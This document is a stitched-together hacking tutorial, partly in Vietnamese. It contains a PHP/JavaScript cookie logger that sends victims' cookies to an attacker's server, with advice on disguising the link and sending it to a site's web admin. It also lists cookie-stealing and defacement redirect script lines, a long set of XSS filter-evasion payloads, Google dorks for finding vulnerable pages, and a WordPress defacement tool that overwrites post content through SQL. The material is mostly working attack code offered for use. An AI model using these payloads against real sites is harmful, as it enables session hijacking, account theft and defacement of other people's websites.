<?php
/*
* Created on 16. april. 2007 Được tạo ngày 16/8/2007
* Created by Audun Larsen (audun@munio.no)- Tác giả-
*
* Copyright 2006 Munio IT, Audun Larsen
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

if(strlen($_SERVER['QUERY_STRING']) > 0) {
$fp=fopen('./CookieLog.txt', 'a');
fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
fclose($fp);
} else {
?>

var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';

// ==
// URLEncode and URLDecode functions
//
// Copyright Albion Research Ltd. 2002
// http://www.albionresearch.com/
//
// You may copy these functions providing that
// (a) you leave this copyright notice intact, and
// (b) if you use these functions on a publicly accessible
// web site you include a credit somewhere on the web site
// with a link back to http://www.albionresearch.com/
//
// If you find or fix any bugs, please let us know at albionresearch.com
//
// SpecialThanks to Neelesh Thakur for being the first to
// report a bug in URLDecode() - now fixed 2003-02-19.
// And thanks to everyone else who has provided comments and suggestions.
// ==
function URLEncode(str)
{
// The Javascript escape and unescape functions do not correspond
// with what browsers actually do...
var SAFECHARS = "0123456789" + // Numeric
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic
"abcdefghijklmnopqrstuvwxyz" +
"-_.!~*'()"; // RFC2396 Mark characters
var HEX = "0123456789ABCDEF";

var plaintext = str;
var encoded = "";
for (var i = 0; i < plaintext.length; i++ ) {
var ch = plaintext.charAt(i);
if (ch == " ") {
encoded += "+"; // x-www-urlencoded, rather than %20
} else if (SAFECHARS.indexOf(ch) != -1) {
encoded += ch;
} else {
var charCode = ch.charCodeAt(0);
if (charCode > 255) {
alert( "Unicode Character '"
+ ch
+ "' cannot be encoded using standard URL encoding.\n" +
"(URL encoding only supports 8-bit characters.)\n" +
"A space (+) will be substituted." );
encoded += "+";
} else {
encoded += "%";
encoded += HEX.charAt((charCode >> 4) & 0xF);
encoded += HEX.charAt(charCode & 0xF);
}
}
} // for

return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);

< ?php
}
?>

Bây giờ chúng ta có kịch bản Logger Cookie của chúng ta, chúng ta có thể gửi các logger cookie cho người bạn tốt nhất của chúng ta, Web-Admin. Để làm điều này, chúng ta có lẽ nên Tiny URL. Hoặc nếu bạn có thể tìm ra cách để Spoof URL, mà sẽ làm việc quá.

 <script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>

<script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script>

onmouseover=prompt1337

onmouseover=alert("XSS")

> = %3c
< = %3c
/ = %2f

<script>alert("XSS")</script>

<script>alert(String.fromCharCode(88,83,83))</script>

<ScRiPt>aLeRt("XSS")</ScRiPt>

inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx

<script>alert("XSS")</script>

<script>alert("XSS")</script>

<script>alert( > XSS DETECTED < )</script>

String.fromCharCode(88,83,83)

<script>alert(String.fromCharCode(88,83,83))</script>

"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83)) </script>
'><script>alert("XSS")</script>
'><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(88,83,83)) </ScRIPt>
'><ScRIPt>aLeRT("XSS")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
</script><script>alert("XSS")</script>
</script><script>alert(String.fromCharCode(88,83,83) )</script>
"/><script>alert("XSS")</script>
"/><script>alert(String.fromCharCode(88,83,83))</script>
'/><script>alert("XSS")</script>
'/><script>alert(String.fromCharCode(88,83,83))</script>
</SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,8 3))
</SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83 ,83))</SCRIPT>
";alert("XSS");"
";alert(String.fromCharCode(88,83,83));"
';alert("XSS");'
';alert(String.fromCharCode(88,83,83));'
";alert("XSS")
";alert(String.fromCharCode(88,83,83))
';alert("XSS")
';alert(String.fromCharCode(88,83,83))

<html>
<head>
<title>Bypass AuthenticatioN Wordpress By DR.THMOORY</title>
<style>
textarea {
background-color:#ffffff;
border:#445588 solid 1px;
}
textarea.bright {
background-color:#ccccff;
border:#445588 solid 1px;
}
textarea.bright1 {
background-color:#ccccff;
border:#445588 solid 1px;
}
/**
 * CSS3 thumbnail inspired by Gloria Langreo
 */

body { padding: 5em 0; text-align: center; background: url(http://cl.ly/EXdC/darkdenim.png) }
a, span { position: relative; display: inline-block; }
img { display: block; }
span { overflow: hidden;
    -webkit-box-shadow: 0 2px 8px rgba(0,0,0,1);
    -moz-box-shadow: 0 2px 8px rgba(0,0,0,1);
    box-shadow: 0 2px 8px rgba(0,0,0,1); }
span:before {
    content: "";
    position: absolute;
    z-index: 2;
    top: 0;
    bottom: 0;
    right: 0;
    left: 0;
    border: 1px solid rgba(255,255,255,.25);
}
span:after {
    content: "";
    position: absolute;
    z-index: 1;
    top: -40%;
    left: 0;
    width: 500%;
    height: 400%;
    -webkit-border-radius: 100%;
    -moz-border-radius: 100%;
    border-radius: 100%;
    background: transparent;
    -webkit-box-shadow: 0 0 0 200px rgba(255,255,255,.15);
    -moz-box-shadow: 0 0 0 200px rgba(255,255,255,.15);
    box-shadow: 0 0 0 200px rgba(255,255,255,.15);
    border: 1px solid rgba(255,255,255,.2);
    transition: all .3s;
}
span:hover:before { border-color: rgba(255,255,255,.3) }
span:hover:after { 
    -webkit-box-shadow: 0 0 0 200px rgba(255,255,255,.2);
    -moz-box-shadow: 0 0 0 200px rgba(255,255,255,.2);
    box-shadow: 0 0 0 200px rgba(255,255,255,.2);
    background: rgba(255,255,255,.05);
    }
*{ font-family:tahoma; font-size:12; } td,tr{ text-align:center;color:#fff;}
</style>
</head>
<body>
<center>
<font color="#fff">Bypass AuthenticatioN In Wordpress-Wp-admin</font><br />
<a href="javascript:void(0);"><span><img src="http://www.swalif.net/swalifsite/wp-content/uploads/2011/04/best-must-have-wordpress-plugins.jpg"></span></a> <br /><br /><br /><br />
<table>
<form method="POST" action=" ">
<tr><td>LocalHost:</td><td><input type="text" name="host" value="localhost"/></td><td><br />
<tr><td>Db : </td><td><input type="text" name="db" /></td><td><br />
<tr><td>UserName : </td><td><input type="text" name="username" /></td><td><br />
<tr><td>PassWord-Db :</td><td><input type="password" name="pass" /></td><td><br />
</table>
<textarea rows="5" cols="50" name="box">Set Your Index !</textarea><br />
<input type="submit" value="Set Index!" /> <br />
</form>
<?
$h0st = $_POST['host'];
$us0r = $_POST['username'];
$p0ss = $_POST['pass'];
$dbxx = $_POST['db'];
$boox = $_POST['box'];
@mysql_connect("$h0st","$us0r","$p0ss");
@mysql_select_db("$dbxx");
$sql = @mysql_query("UPDATE wp_posts SET `post_content` = '".$boox."' WHERE wp_posts.`ID` =1 LIMIT 1 ;");
if ("$sql"){
    echo "<font color='#fff'>Done !!</font>";
}

?>
</center>
</body>
</html>